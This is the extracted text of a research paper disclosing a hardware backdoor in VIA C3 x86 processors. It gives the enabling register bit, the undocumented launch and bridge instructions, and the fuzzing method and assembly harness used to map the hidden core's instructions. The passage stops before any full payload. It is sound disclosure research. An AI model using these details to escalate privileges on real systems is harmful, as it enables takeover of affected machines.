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Abstract—As the complexity of x86 processors grows 

unbounded, the realities of the hidden and unexpected behaviors 

of these chips become apparent.  While micro-architectural 

vulnerabilities such as speculative execution side channels are 

unsettling, more powerful, unknown capabilities remain buried 

deeper still.  Here, we finally demonstrate what everyone has long 

feared but never proven: there are hardware backdoors in some 

x86 processors, and they're buried deeper than we ever imagined 

possible. 

I. OVERVIEW 

ulnerabilities in software are now so common place that 

even the most serious and devastating exploits may receive 

barely a nod from the research community.  The importance and 

magnitude of hardware vulnerabilities has only recently been 

fully accepted, but even these are slowly patched and forgotten.  

More alarming still are the rare backdoors in software, but, even 

in the worst-case firmware implementations, these are 

correctable.  But any security researcher who digs deep enough 

inevitably wonders at the endgame, at the deepest possible level 

of compromise – are there hardware backdoors in the 

processor itself?  While largely relegated to the realms of 

conspiracy theories and wild speculation, the possibility 

continues to grip us.  Here, we demonstrate, for the first time 

ever, a hardware backdoor on an x86 processor. 

 The backdoor offers ring 3 (userland) to ring 0 (kernel) 

privilege escalation, providing a well-hidden, devastating 

circumvention to the long-standing x86 ring privilege model, 

wherein untrusted code is effectively separated from the heart 

of the system.  In offering a knowledgeable attacker direct, 

unrestricted access to the kernel from arbitrary unprivileged 

code, the backdoor negates decades of progress on hardware 

and software kernel security mechanisms; antivirus, address 

space protections, data execution prevention, code signing, 

control flow integrity, and kernel integrity checks provide no 

protections, and are immediately circumvented through the 

backdoor.  The backdoor can be enabled or disabled through 

processor configuration bits, configured either during 

manufacturing or bootstrapping; it has been observed to be 

enabled by default on some platforms, requiring no prior access, 

configuration, or permissions by the attacker. 

 To facilitate this and other deep processor exploration, the 

tools, techniques, code, and data developed under this research 

effort are open-sourced as project:rosenbridge [1]. 

In this paper, we use the term “x86” to broadly refer to 

processor designs derived from the 8086 architecture; this 

includes the older 32 bit versions of the architecture, as well as 

modern 64 bit versions of the architecture (sometimes referred 

to as x86-64, x64, or AMD64). 

II. TARGET 

Our research examines the VIA C3 family of x86 processors.  

VIA, behind Intel and AMD, is the third largest manufacturer 

of x86 processors; while their market share in desktop and 

laptop type systems has declined over the last decade, their 

chips continue to excel in embedded x86 designs and 

applications, including healthcare, industrial automation, point-

of-sale, kiosk, ATM, gaming, digital signage, and media 

applications [2].  The VIA C3 is extremely popular in 

embedded designs, but is also found in a variety of desktop, 

laptop, and thin client computers. 

Specifically, the research described in this paper was 

performed against a Nehemiah core VIA C3, running in an HP 

T5520 thin client.  The test setup ran a PXE booted Debian 

6.0.10 (i386), using Linux kernel version 2.6.32.  However, the 

results affect the processor itself – the specific computer, 

kernel, and operating system are largely irrelevant.  The 

vulnerable system cited in section V is a Wyse 9455XL thin 

client, with a Samuel 2 core VIA C3 processor. 

The research target was selected based on information 

derived from a patent filed on some x86 technologies.  

US8341419 [3] makes a passing mention that: 

“Additionally, accessing some of the internal control 

registers can enable the user to bypass security 

mechanisms, e.g., allowing ring 0 access at ring 3. In 

addition, these control registers may reveal 

information that the processor designers wish to keep 

proprietary. For these reasons, the various x86 

processor manufacturers have not publicly 

documented any description of the address or function 

of some control MSRs.” [3] 

Based on the patent owner (VIA) and time frame (2008), the 

VIA C3 processors were selected as the target of this research.  

We were unable to locate a VIA developer manual, such as 

those commonly offered by Intel and AMD, to gain any 

significant insights into the processor, so further research was 

based on testing, inferences from patent applications, and 

significant trial and error.  While the details presented in this 

paper are specific to the Nehemiah core, they are believed to 

apply (with minor modifications) to all VIA C3 processors. 

Critically, we note that while the target processor is no longer 

used in modern computers, the security issues presented here 

remain a very real concern across the entire industry, and we 

propose the work as an invaluable case study for drastically 

advancing the state of the art in processor security research on 
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modern systems.  We discuss the wider implications of this in 

section IX. 

III. BACKDOOR ARCHITECTURE 

As discussed in the previous section, patent US20100235645 

strongly hints at what would commonly be understood as a 

processor backdoor: “internal control registers can enable the 

user to bypass security mechanisms, e.g., allowing ring 0 access 

at ring 3”.  To begin exploring this possibility, we examined 

other x86 patents to piece together what such a backdoor might 

look like.  Based on patent time frames, owners, authors, and 

terminology, we concluded that VIA was embedding a non-x86 

core into their C3 x86 CPUs, and that this alternate core could 

be activated through special instructions, which would then 

allow it to circumvent processor security mechanisms.  While 

this is vaguely reminiscent of the better-known Intel 

Management Engine (ME) and AMD Platform Security 

Processor (PSP), the VIA embedded core appeared to be much 

more tightly coupled with the x86 core, and we were unable to 

find any public documentation on such a feature, making it 

more hidden than ME or PSP.  Because of this, we called this 

non-x86 core the deeply embedded core (DEC). 

Patent US8880851 [4] provided the high-level insight into 

the design of the DEC.  From this, we surmise that the DEC is 

not an entirely separate core, but rather shares significant 

segments of the pipeline and other architectural facilities with 

the x86 core. 

 
Figure 1.  Patent US8880851 discusses how multiple architectures can largely 

share an execution pipeline; in the proposed implementation, only the 

instruction translators (shaded) require significantly differing implementations 

[4]. 

Because the DEC shares most of the microarchitecture with 

the x86 core, its footprint, in both circuitry and exposure, is 

much smaller than possible with most coprocessors.  Combined 

with the lack of a datasheet or any public information on the 

core (excluding vague inferences derived from patents), this 

made revealing and interacting with the secret core much more 

challenging than evaluating, for example, ME or PSP. 

Patents suggest that the deeply embedded core is a RISC 

processor [4] [5] [6], which shares some components of its 

execution pipeline with the x86 core, with the pipeline likely 

diverging after the fetch phase (Figure 2).  The RISC and x86 

cores have at least a partially shared register file [7] [8] [9]. 

 
Figure 2.  Patent US9043580 suggests the execution pipeline may split after the 

instruction fetch phase. [7] 

 The processor uses a global configuration register, exposed 

to the x86 core as a model specific register (MSR), to activate 

the RISC core [4].  Once the RISC core is active, a RISC 

instruction sequence is started with an x86 launch instruction, 

a new instruction added to the x86 instruction set [4]. 

 With its integrated execution pipeline and shared register file, 

the design of the deeply embedded core makes it both stealthier 

and more powerful than other known coprocessors, like Intel 

ME and AMD PSP.  Other coprocessors, with their ability to 

modify protected memory, have been colloquially called a ‘ring 

-3’ layer of privilege, surpassing the abilities of the kernel, 

hypervisor, and system management mode.  While the idea of 

continuously deeper rings on x86 has become almost farcical, 

we (somewhat tongue-in-cheek) propose that the deeply 

embedded core acts as a sort of ring -4 on x86, the deepest layer 

yet discovered. 

 If the assumptions about the design and power of the deeply 

embedded core are correct, the core could be used as a sort of 

backdoor on the processor, able to surreptitiously circumvent 

all of the most critical processor security checks; we call this 

backdoor rosenbridge. 

IV. REGISTER ANALYSIS 

A means of enabling the theoretical rosenbridge backdoor is 

necessary, and a variety of patents may provide clues on how to 

do so.  The previously cited patent US8341419 [3] suggests that 
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model specific registers might be used to circumvent the x86 

ring privilege protections, while patent US8880851 [4] 

describes a system wherein a model specific register can be 

used to activate a new instruction in x86, enabling an alternate 

core in the processor.  With these hints together, we set out to 

find a bit in a model specific register that activates a new x86 

instruction, which enables a new core, potentially leading us 

towards backdoor hardware privilege escalation.  Here, we 

adopt the patent terminology of global configuration register 

and launch instruction for these secretive features. 

The model specific registers (MSRs) in x86 are a wide range 

of 64-bit control registers; their applications are extremely 

varied, but are commonly used for debugging, performance 

monitoring, cache configuration, and toggling various 

processor features.  MSRs are accessible only to ring 0 code.  

Unlike the x86 general- and special-purpose registers, MSRs 

are not addressed by name, but rather by number.  Valid MSR 

numbers range from 0 to 0xffffffff. 

As patent US8341419 [3] notes, because of their extreme 

power and potential for misconfiguration, “…the various x86 

processor manufacturers have not publicly documented any 

description of the address or function of some control MSRs.”  

It is entirely common for specific bits in documented MSRs to 

be elided from public processor documentation, or for select 

MSRs to be hidden from record entirely (Figure 3). 

 
Figure 3.  Undocumented bits in the IA32_EFER control MSR. [10] 

 Certainly, often the undocumented bits are simply not 

implemented, and reserved for future use.  However, it is not at 

all uncommon to find undocumented bits that have observable 

impacts on the processor.  

In approaching the MSRs, it is first necessary to determine 

which MSRs are implemented by the processor, versus which 

MSRs are documented by the manufacturer.  It is possible to 

check if an MSR exists on the processor through a fault analysis 

technique, by loading the expected MSR number into the ecx 

register, and issuing a rdmsr instruction.  If the instruction 

throws a #GP(0) exception, we infer that the MSR is not 

implemented.  However, if the rdmsr instruction successfully 

completes, the MSR is implemented, even if it does not appear 

in the processor’s documentation. 

In the case of the target C3 processor, we were unable to 

locate a developer manual, such as those commonly offered by 

Intel and AMD, to gain insight into the MSRs.  Some common 

MSRs are architectural and tend to be the same across 

manufacturers (for example, the time stamp counter is 

consistently MSR 0x10 across Intel, AMD, and VIA), but such 

inferences only hold for a small handful of MSRs.  

Unfortunately, in applying MSR fault analysis to the C3, 1300 

implemented MSRs are identified; heuristics on architectural 

MSRs can only account for approximately a dozen of these. 

In order to make an analysis of the undocumented MSR bits 

feasible, we propose a side-channel attack against the x86 

MSRs, in order to reduce the MSR search space.  In this attack, 

a rdmsr instruction is used to access a model specific register.  

On either side of the rdmsr, rdtsc instructions are used to 

determine the rdmsr access time.  The measurement is repeated 

for all 0x100000000 possible MSRs (Figure 4).  We 

implement and open source the MSR timing analysis code as 

the separate project:nightshyft [11], which is further discussed 

in section IX, as well as in the project’s corresponding research 

paper [12]. 

 
Figure 4.  A side-channel attack is used to down-select the C3 MSRs.  Access 
times (in cycles) for the model specific registers on the C3 are plotted against 

MSR addresses.  Of 4 billion possible registers, 1300 are observed to be 

implemented. 

We observe that functionally different MSRs will, in general, 

have different access times, because the microcode backing 

each MSR is entirely different; for example, it will take a 

different amount of time to access the time stamp counter MSR, 

compared to accessing a thermal sensor MSR.  On the other 

hand, functionally equivalent MSRs will have approximately 

the same access times, because the microcode backing each 

MSR is roughly equivalent; for example, accessing 

MTRR_PHYSBASE0 is expected to take just as long as accessing 

MTRR_PHYSBASE1.  Using this approach, we can differentiate 

between “like” and “unlike” MSRs by comparing register 

access times.  It is, of course, possible for two unique MSRs to 

happen to have the same access times, so we define “like” 

registers as those whose adjacent registers have equal or 

otherwise functionally related access times, such as a range of 

ascending-access-time registers, or a range of registers whose 

access times alternate between two values  (Figure 5).  These 

patterns of access times in adjacent registers reveal the closely 

related families of MSRs on a processor. 

We speculate that it is highly unlikely for there to be 

multiple, functionally equivalent or similar versions of the 

global configuration register.  Instead, this register is expected 
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to be entirely unique, based on its assumed properties.  We 

therefore eliminate MSRs which can be identified as belonging 

to a functional family, to focus exclusively on the functionally 

unique MSRs. 

 
Figure 5.  The 1300 implemented MSRs are down-selected by removing closely 

related MSRs, such as the ascending patterns around 145h and 26bh, the 

oscillating timings at 207h, as well as the consistent ‘baseline’ extending from 

0 to 500h.  This process leaves 43 functionally unique MSRs. 

Using this approach, we identify 43 functionally unique 

MSRs, from the 1300 implemented MSRs on the VIA C3 

processor – a far more tractable number for analysis. 

With candidate MSRs identified for the global configuration 

register, we next set out to enable the deeply embedded core.  

Following the patent literature, we seek an MSR bit that enables 

a new x86 instruction (the launch instruction), which may in 

turn activate the DEC.  To resolve which of the candidate MSRs 

is the global configuration register and simultaneously identify 

the hidden launch instruction, we apply the sandsifter processor 

fuzzing tool.  Sandsifter is able to reliably expose 

undocumented instructions in x86, but takes approximately one 

day to complete an instruction scan on the C3.  With 43 unique 

MSRs, and 64 bits per MSR, there are 2752 bits to check (fewer, 

when discounting bits that are already enabled); toggling bits 

one by one and completing a scan after each is not feasible. 

To overcome this, we toggled each of the candidate MSR bits 

one by one, without running a sandsifter scan between them.  In 

many cases, toggling an undocumented MSR bit will result in 

general protection exceptions, kernel panics, system instability, 

system reset, or a total processor lock.  Whenever a bit had these 

(or other) visible side effects, it was ruled out as a candidate.  

Using a hardware system reset tool, we automated the 

activation of the candidate MSR bits, automatically resetting 

the target system whenever toggling a bit caused an error.  Over 

the course of a week, and hundreds of automated reboots, we 

identified which of the 2752 bits could be toggled without 

visible side effects (Figure 6). 

 
Figure 6.  System for automatically determining the MSR bits which can be 

safely activated on the target. 

 At this point, sandsifter was used to audit the processor for 

any new instructions.  Its scan, which encompassed over 

100,000,000 instructions, revealed exactly one new, 

unexpected instruction on the processor: 0f3f (Figure 7).  We 

were unable to find any reference to this instruction in any 

processor documentation, from any vendor.  This, presumably, 

is the launch instruction hinted at in VIA patents.  Observing 

the instruction with GDB, with some trial and error, it was 

determined that the launch instruction is effectively a jmp %eax 

instruction; that is, it branches to the address held in the eax 

register. 

 
Figure 7.  With the MSR bits active, the sandsifter fuzzer is used to expose the 
launch instruction.  In addition to the existence of the new instruction, 

sandsifter also detects that an instruction trap is being lost when the instruction 
executes; this causes subsequent instructions to appear as part of the 0f3f 

launch instruction, which causes sandsifter to record multiple instances of the 

instruction.  

 With the launch instruction identified, it is no longer 

necessary to perform full instruction scans to test each MSR bit, 

allowing the MSR bits to be quickly searched.  Activating each 

candidate MSR bit one by one, then attempting to execute 

0f3f, quickly revealed that MSR 1107h, bit 0 activates the 

launch instruction on the C3 processor; MSR 1107h is therefore 
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determined to be the global configuration register.  Because we 

anticipate bit 0 will allow circumventing privilege protections 

for unfettered control of the processor, we call this the god mode 

bit. 

IV. THE X86 BRIDGE 

With the god mode bit discovered, and the launch instruction 

identified, it is next necessary to determine how to execute 

instructions on the RISC core.  From the patent literature [4], it 

would appear that after the launch instruction, subsequent 

instructions are sent to a separate RISC pipeline as they are 

fetched (Figure 8). 

 
Figure 8.  A potential implementation of a “dual” instruction set architecture, 
as described in patent US8880851, suggests separate decoders (shaded) for the 

x86 and RISC pathways in the execution unit [4]. 

However, in examining the target processor, this appeared to 

not be the case.  Activating the god mode bit, and executing the 

launch instruction, the processor appeared to simply continue 

executing x86 instructions.  After significant trial, error, and 

revisions, we theorized that rather than directly switching 

between decoders, the launch instruction might modify 

functionality within the x86 decoder, such that the x86 decoder 

would perform a first decode pass, and then send parts of the 

decoded instruction to a second RISC decoder.  In this 

implementation, the pipeline does not split right after the 

instruction fetch phase as shown in patents, but rather forks 

within the x86 decoder.  The launch instruction, rather than 

switching between x86 and RISC decoders, instead activates 

the new RISC pathways within the x86 decoder (Figure 9). 

 

 
Figure 9.  A potential implementation of a dual execution pipeline.  A pre-
decoder first decomposes an x86 instruction into its constituents.  If the 

processor is in RISC mode, and if the opcode and modr/m bytes match expected 

values, then the immediate value is passed to the RISC decoder; otherwise, the 

instruction components are passed to the x86 decoder. 

 In this implementation, an instruction is fetched from the 

instruction cache, and passed to an x86 pre-decoder.  The pre-

decoder breaks the instruction apart into its constituents: prefix, 

opcode, modr/m, scale-index-base, displacement, and 

immediate bytes.  At this point, a check is performed: if the 

processor is in RISC mode (that is, if the launch instruction was 

just executed), and the instruction uses a 32-bit immediate 

value, and the remaining constituents match architecturally 

defined values, then the 32-bit immediate is passed to the RISC 

decoder; otherwise, the constituents are passed to the x86 

decoder. 

 In this implementation, it becomes necessary to determine 

which x86 instruction is used to dispatch 32-bit immediate 

values to the RISC core.  Since this instruction joins the two 

cores, we call it the bridge instruction.  For example, it could 

be that the bridge instruction is mov eax,xxxxxxxx, where 

xxxxxxxx is a 32-bit immediate value that will be sent to the 

RISC core if the RISC core is active. 

 To determine the bridge instruction, it is sufficient to detect 

that a RISC instruction has been executed.  Since we do not 

know the RISC instruction format, it is necessary to be able to 

observe this from the x86 core.  While there are several ways to 

do this, the simplest, in practice, is found in the premise of the 

research: if the RISC core really provides a privilege 

circumvention mechanism, then some RISC instruction, 

executed in ring 3, should be able to corrupt the system (for 

example, by writing invalid values to a control register or kernel 

memory).  These corruptions can be detected in the form of a 

processor lock, kernel panic, or system reset.  Since an 

unprivileged x86 instruction should never normally be capable 

of causing a processor lock, kernel panic, or system reset, if we 

observe one of these behaviors when executing an unprivileged 
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RISC 
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x86 instruction, then it must be a bridge instruction.  That is, it 

must have triggered the execution of a RISC instruction that in 

turn corrupted the system state. 

 With this approach, finding the bridge instruction can be 

accomplished through random processor fuzzing using the 

sandsifter tool.  First, the god mode bit is set.  Then, sandsifter 

generates a random x86 instruction.  The launch instruction is 

expected, followed by the random x86 instruction.  This process 

is repeated indefinitely.  When the right combination of the x86 

wrapper instruction and a corrupt RISC instruction are found, 

the processor locks, the kernel panics, or the system resets.  

When this behavior is observed, the last instruction generated 

is determined to be the bridge instruction, and its 32-bit 

immediate value the corrupting RISC instruction. 

 Using this approach, the bridge instruction was determined 

to be bound %eax,0x00000000(,%eax,1), where 

0x00000000 is the 32-bit RISC instruction sent to the deeply 

embedded core.  The bridge instruction appeared to vary 

depending on the specific microarchitecture of the target; the 

bound bridge was observed on a VIA C3 Nehemiah core. 

V. A DEEPLY EMBEDDED INSTRUCTION SET 

With knowledge of how to execute instructions on the deeply 

embedded core, it was necessary to next determine what to 

execute.  Initially, simple instructions from popular RISC 

architectures, such as ARM, PowerPC, and MIPS were 

attempted, in both big and little endian forms; for ARM, for 

example, ADD R0,R0,#1 would be checked.  The attempt is 

significantly complicated by the fact that the RISC core likely 

has a register file inaccessible to the x86 core; for example, for 

the above instruction, there is no clear way to check whether the 

attempted instruction executed as expected, because the r0 

ARM register cannot be observed from the x86 core.  Although 

it was difficult to definitively match the instructions to a known 

architecture, it was possible to rule out architectures.  We 

observed that many of the instructions sent to the deeply 

embedded core caused a processor lock (one of the few visible 

effects of the instructions).  By executing simple, non-locking 

instructions for candidate architectures – such as the ADD 

R0,R0,#1 above – the selected architecture could be ruled out 

if the processor locked.  Using this approach, 30 different 

architectures were ruled out for the deeply embedded core. 

Unable to match the core to any known architecture, it was 

necessary to reverse engineer the format of the instructions for 

the deeply embedded core, which we called the deeply 

embedded instruction set (DEIS). 

To understand the format of these instructions, it is necessary 

to execute a RISC instruction, and observe its results.  However, 

without knowledge of this specific RISC instruction set, it is not 

possible to observe the results from the RISC core.  Instead, we 

took advantage of the fact that, according to the patent 

literature, the x86 core and the RISC core should have a 

partially shared register file (Figure 10).  With this, it is possible 

to observe some of the results of a RISC instruction from the 

x86 core, which enabled deciphering the RISC instruction 

format. 

 
Figure 10.  Patent US8880851 suggests the deeply embedded core shares a 

register file with the x86 core. [4]  While the DEC we examined did not 

appear to be an ARM architecture, the shared register file allowed observing 

the results of a DEIS instruction from the x86 core. 

 The approach is as follows.  The RISC core is unlocked by 

toggling the god mode bit; this is done using the msr loadable 

kernel module.  The remainder of the fuzzing is done in 

userland.  A system input state is generated.  The system input 

state comprises the processor register state (general purpose 

registers, special purpose registers, and MMX registers), as well 

as select buffers from the current userland process and kernel 

memory.  The state varies depending on the fuzzing task.  For 

resolving arithmetic instructions, a random state is used.  For 

resolving memory access instructions, processor registers are 

set to point to either userland or kernel memory buffers.  The 

system state is loaded; processor registers are set, userland 

buffers are populated, and kernel buffers are set using a 

userland interface exposed by a custom loadable kernel module, 

built to assist in fuzzing analysis.  A RISC instruction to check 

is generated.  This may be created randomly, or intelligently 

generated based on fuzzing goals.  The RISC instruction is 

wrapped in the x86 bridge instruction and executed on the 

RISC core by preceding it with the launch instruction.  The new 

system output state is recorded, including GPRs, SPRs, and 

MMX registers, as well as userland and kernel memory buffers.  

This process (Figure 11) allows diffing the input state and 

output state to resolve the effects of an unknown RISC 

instruction. 
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Figure 11.  A summary of the fuzzing process.  The system input state is loaded 

from memory.  The launch instruction is executed, followed by a candidate 

RISC instruction wrapped in the x86 bridge instruction.  The system output 
state is recorded.  A state diff uncovers the effects of the RISC instruction.  In 

addition to the GPRs shown, the complete fuzzer also captures changes to SPRs, 

MMX registers, userland buffers, and kernel buffers. 

When fuzzing the target processor to collect data about the 

RISC instructions, a complication arises: because the RISC core 

appears to have access to protected kernel memory and 

registers, and because the format of the RISC instructions is 

unknown, there is no way to prevent accidentally generating 

and executing instructions that will corrupt the target system, in 

the form of kernel panics, processor locks, and system reboots.  

In practice, only around twenty arbitrary RISC instructions 

could be executed before executing an instruction that corrupts 

the system in an unrecoverable way.  When this happens, it is 

necessary to reboot the system to bring it back to a known good 

state.  However, the target systems, even after optimizations, 

required two minutes to completely reboot.  Some rough 

estimates suggested that, at this rate, it would take months of 

fuzzing to collect enough data to reverse engineer the RISC 

instruction set. 

To overcome this, the automation setup from Figure 6 was 

enhanced.  The system was expanded to support seven target 

machines PXE booting from the master.  Once booted, the 

master assigns fuzzing tasks to an agent running on the target; 

this allows the master to carefully coordinate the fuzzing 

workload, and intelligently tasks machines with unexplored or 

high priority segments of the instruction space.  Each target’s 

power switch is wired to a relay module, connected over USB 

to the master.  When the master is no longer receiving data from 

a target, it assumes that the target has locked, crashed, reset, or 

panicked, and forcefully resets the target by simulating holding 

the power button using the relay.  Both the master and targets 

are hooked up to a monitor and keyboard through a KVM 

switch, for fast debugging and analysis.  Fuzzing results in the 

form of state diffs are collected from each target and aggregated 

on the master for offline analysis. 

 
Figure 12.  Overview of the processor fuzzing setup.  A master system controls 

an array of fuzzing targets, assigning coordinated fuzzing tasks to each target 

as it boots.  When a target stops responding, it is rebooted through the relay 

module.  Fuzzing results in the form of state diffs are collected by the master 

for offline analysis. 

Over the course of three weeks, we fuzzed the array of targets 

and collected data from the test rig – 15 gigabytes of logs 

comprising 2,301,295 state diffs, amassed over nearly 4,000 

hours of compute time.  A subset of this data is available at [1].  

The test instructions were initially generated randomly to 

obtain a large baseline dataset.  In the initial round of fuzzing, 

the vast majority of RISC instructions have no visible results, 

because only a small fraction of the x86/RISC system state can 

be recorded.  To overcome this, a staged fuzzing approach was 

used, where first round instructions with visible effects on the 

system state were used as seed instructions in a second round of 

fuzzing; random bit twiddles on the seeds were used to generate 

the RISC instructions in the second round.  This staged 

approach improved observable instruction results by an order 

of magnitude, greatly improving the completeness of the 

dataset.  Occasional manual intervention to fuzz specific ranges 

around instructions of interest was used to complement the 

results of the second stage fuzzing.  A more sophisticated 

system could dynamically identify the test cases that are 

producing valuable results, and redirect fuzzing around these; 

this could substantially reduce the compute time necessary to 

decipher the target instruction set. 

With a large corpus of state diffs, it is next necessary to 

extract patterns from the diffs to identify patterns in the 

instruction format.  To automate this process, we designed a 

tool called the collector, which checks a state diff for a variety 

of common instruction effects, such as arithmetic operations 

and memory accesses (Figure 13).   

movl %[input_eax], %%eax 
movl %[input_ebx], %%ebx 
movl %[input_ecx], %%ecx 
movl %[input_edx], %%edx          Load a pre-generated 
movl %[input_esi], %%esi          system state from memory. 
movl %[input_edi], %%edi 
movl %[input_ebp], %%ebp 
movl %[input_esp], %%esp 
 
.byte 0x0f, 0x3f                  Execute the launch insn., 
                                  followed by the x86 bridge 
bound %eax,0xa310075b(,%eax,1)    containing the RISC insn. 
 
movl %%eax, %[output_eax] 
movl %%ebx, %[output_ebx] 
movl %%ecx, %[output_ecx] 
movl %%edx, %[output_edx]         Save the new system state 
movl %%esi, %[output_esi]         for offline analysis. 
movl %%edi, %[output_edi] 
movl %%ebp, %[output_ebp] 
movl %%esp, %[output_esp] 

 
 
 
 
 
 

Target 1  

Target 0  

Target 2  

Target 3  

… 

Relay Switch 

Master 

KVM 
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Figure 13.  Categories of instructions analyzed by the collector. 

These instruction categories were chosen based on the 

perceived requirements of an offensive payload for the RISC 

core.  Many instructions did not fall into any of the selected 

categories; a more comprehensive set of categories could be 

used to completely reverse engineer the DEIS. 

 
Figure 14.  The collector matches state diffs to the instruction categories 

shown in Figure 13. 

Instructions are assigned to zero, one, or more instruction 

categories, based on the effects observed in their state diffs 

(Figure 14).  Once all instructions in the fuzzing logs are 

processed, they are binned based on their categories.  An 

instruction bin is a set of instructions whose categories are 

identical.  For example, one instruction bin might include all 

instructions that incremented a register by 4; another might 

include all instructions that wrote a register to memory pointed 

to by another register; and a third bin would include instructions 

that both incremented a register by 4 and wrote a register to 

memory pointed to by another register. 

 
Figure 15.  Binning instructions by multiple behaviors helps separate classes of 

instructions. 

The binning approach helps to separate instructions with 

similar binary encodings.  For example, both 

ebb7b489 [1110 1011 1011 0111 1011 0100 1000 1001] 

0aeb0a40 [0000 1010 1110 1011 0000 1010 0100 0000] 

from Figure 15 increment the edi register by 4, but there are 

no similarities in the bit patterns that would provide insight into 

the correct binary encoding for an increment edi instruction.  

However, when the instructions are grouped based on multiple 

behaviors, f2b72d6d and 0aeb0a40 are separated into 

different bins.  When this is done, the instructions in each bin 

exhibit obvious bit patterns that can be used to derive the binary 

encoding for that bin (add vs. add/write bins in Figure 15).  

However, the approach is limited by the number of instruction 

behaviors that can be identified in state diffs.  In many cases, 

no observable change occurs in state (for example, when an 

instruction modifies an un-instrumented region of memory or 

register), or an observed change has no obvious classification 

(for example, the instruction loads a value of unknown origin 

into a register).  When this occurs, instructions may become 

inseparable for the collector, and a single bin will contain 

instructions from many different encodings (memory write bin 

in Figure 15).  At this point, manual analysis of the bit patterns 

and state diffs can help differentiate encodings within the bin.  

A subset of the binned instructions were chosen as primitives 

for building a DEC privilege escalation payload (Figure 16).  

These constituted only a small fraction of the instruction 

categories identified by the collector, but were sufficient to 

mount a proof-of-concept privilege escalation attack against the 

DEC.  Further development could fully leverage the collector 

results to reconstruct more of the DEIS, to enable general 

 word swap: 

swap the low and high words of a register 

 high word copy: 

copy the high word of one register into the high word of another 

 low word copy: 

copy the low word of one register into the low word of another 

 immediate load: 

load a word value from an immediate field in the instruction 

into the low or high word of a register  

 (pre) register to register transfer: 

copy one register into another register 

 (post) register to register transfer: 

modify a register, then copy it into another register 

 1-, 2-, 4-, and 8- byte memory writes: 

copy a 1-, 2-, 4-, or 8- byte value from a register into memory 

 1-, 2-, 4-, and 8- byte memory reads: 

load a 1-, 2-, 4-, or 8- byte value from memory into a register 

 increment by 1, 2, 4, or 8: 

add 1, 2, 4, or 8 to a register 

 decrement by 1, 2, 4, or 8: 

subtract 1, 2, 4, or 8 from a register 

 write instruction pointer: 

write the value of the next instruction pointer to memory 

 1- through 16- bit shifts: 

shift a register by 1, 2, 3, … or 16 bits, left or right, into itself 

 relative immediate load: 

load a constant into a register, from memory addressed 

relatively from the current instruction 

 add, subtract, multiply, divide, modulo, xor, binary and, binary or: 

arithmetic operation between two input registers, stored into an 

output register 

==== sub, 4 ==== 
0a1dc726  [ 0000 1010  0001 1101  1100 0111  0010 0110 ]:   eax: 0804e289 -> 0804e285 
0a3d6720  [ 0000 1010  0011 1101  0110 0111  0010 0000 ]:   ecx: 0841fec2 -> 0841febe 
0a503e29  [ 0000 1010  0101 0000  0011 1110  0010 1001 ]:   edx: 2c9e4a84 -> 2c9e4a80 
0a5fb7db  [ 0000 1010  0101 1111  1011 0111  1101 1011 ]:   edx: 327f8c66 -> 327f8c62 
0a7f4460  [ 0000 1010  0111 1111  0100 0100  0110 0000 ]:   ebx: b753be82 -> b753be7e 
0a90aeb8  [ 0000 1010  1001 0000  1010 1110  1011 1000 ]:   esp: 961f6d51 -> 961f6d4d 
0ab05498  [ 0000 1010  1011 0000  0101 0100  1001 1000 ]:   ebp: 859a7955 -> 859a7951 
0abfb48d  [ 0000 1010  1011 1111  1011 0100  1000 1101 ]:   ebp: d8de0d7b -> d8de0d77 
0ad03f09  [ 0000 1010  1101 0000  0011 1111  0000 1001 ]:   esi: 0841fec4 -> 0841fec0 
0af088c6  [ 0000 1010  1111 0000  1000 1000  1100 0110 ]:   edi: 256339e4 -> 256339e0 
0affcf92  [ 0000 1010  1111 1111  1100 1111  1001 0010 ]:   edi: f4cef2ab -> f4cef2a7 
0e1d87be  [ 0000 1110  0001 1101  1000 0111  1011 1110 ]:   eax: 0804e289 -> 0804e285 
0e301f44  [ 0000 1110  0011 0000  0001 1111  0100 0100 ]:   ecx: faa1aa22 -> faa1aa1e 
0e30753f  [ 0000 1110  0011 0000  0111 0101  0011 1111 ]:   ecx: 46e4f482 -> 46e4f47e 
0e309f8c  [ 0000 1110  0011 0000  1001 1111  1000 1100 ]:   ecx: 8e9099e9 -> 8e9099e5 
0e5ff9f4  [ 0000 1110  0101 1111  1111 1001  1111 0100 ]:   edx: b4511f1b -> b4511f17 
0e83d850  [ 0000 1110  1000 0011  1101 1000  0101 0000 ]:   esp: 3b92e942 -> 3b92e93e 
0eb05c9b  [ 0000 1110  1011 0000  0101 1100  1001 1011 ]:   ebp: 33004709 -> 33004705 
0edf3b78  [ 0000 1110  1101 1111  0011 1011  0111 1000 ]:   esi: 0841fec4 -> 0841fec0 
0effd2ad  [ 0000 1110  1111 1111  1101 0010  1010 1101 ]:   edi: 989d68db -> 989d68d7 
8d2bf748  [ 1000 1101  0010 1011  1111 0111  0100 1000 ]:   eax: 0804e289 -> 0804e285 
a95053d4  [ 1010 1001  0101 0000  0101 0011  1101 0100 ]:   eax: 0804e289 -> 0804e285 
df14296d  [ 1101 1111  0001 0100  0010 1001  0110 1101 ]:   esp: 0841fec7 -> 0841fec3 
eb36ae2c  [ 1110 1011  0011 0110  1010 1110  0010 1100 ]:   esi: 0841fec4 -> 0841fec0 
eb71bafc  [ 1110 1011  0111 0001  1011 1010  1111 1100 ]:   ecx: 0841fec2 -> 0841febe 
eb72b0d6  [ 1110 1011  0111 0010  1011 0000  1101 0110 ]:   edx: 0841fec3 -> 0841febf 
fd77063c  [ 1111 1101  0111 0111  0000 0110  0011 1100 ]:   edi: 0841fec5 -> 0841fec1 
ff7762d4  [ 1111 1111  0111 0111  0110 0010  1101 0100 ]:   edi: 0841fec5 -> 0841fec1 

==== bin: memory write // add, 4 ==== 
e87262cc  [ 1110 1000  0111 0010  0110 0010  1100 1100 ] 
eab5f409  [ 1110 1010  1011 0101  1111 0100  0000 1001 ] 
ebb7b489  [ 1110 1011  1011 0111  1011 0100  1000 1001 ] 
f2169a0a  [ 1111 0010  0001 0110  1001 1010  0000 1010 ] 
f2b7ad29  [ 1111 0010  1011 0111  1010 1101  0010 1001 ] 
fa12fea8  [ 1111 1010  0001 0010  1111 1110  1010 1000 ] 
fc74182a  [ 1111 1100  0111 0100  0001 1000  0010 1010 ] 
fc759d01  [ 1111 1100  0111 0101  1001 1101  0000 0001 ] 

 
==== bin: add, 4 ==== 

0a580eef  [ 0000 1010  0101 1000  0000 1110  1110 1111 ] 
0a78884e  [ 0000 1010  0111 1000  1000 1000  0100 1110 ] 
0a99118a  [ 0000 1010  1001 1001  0001 0001  1000 1010 ] 
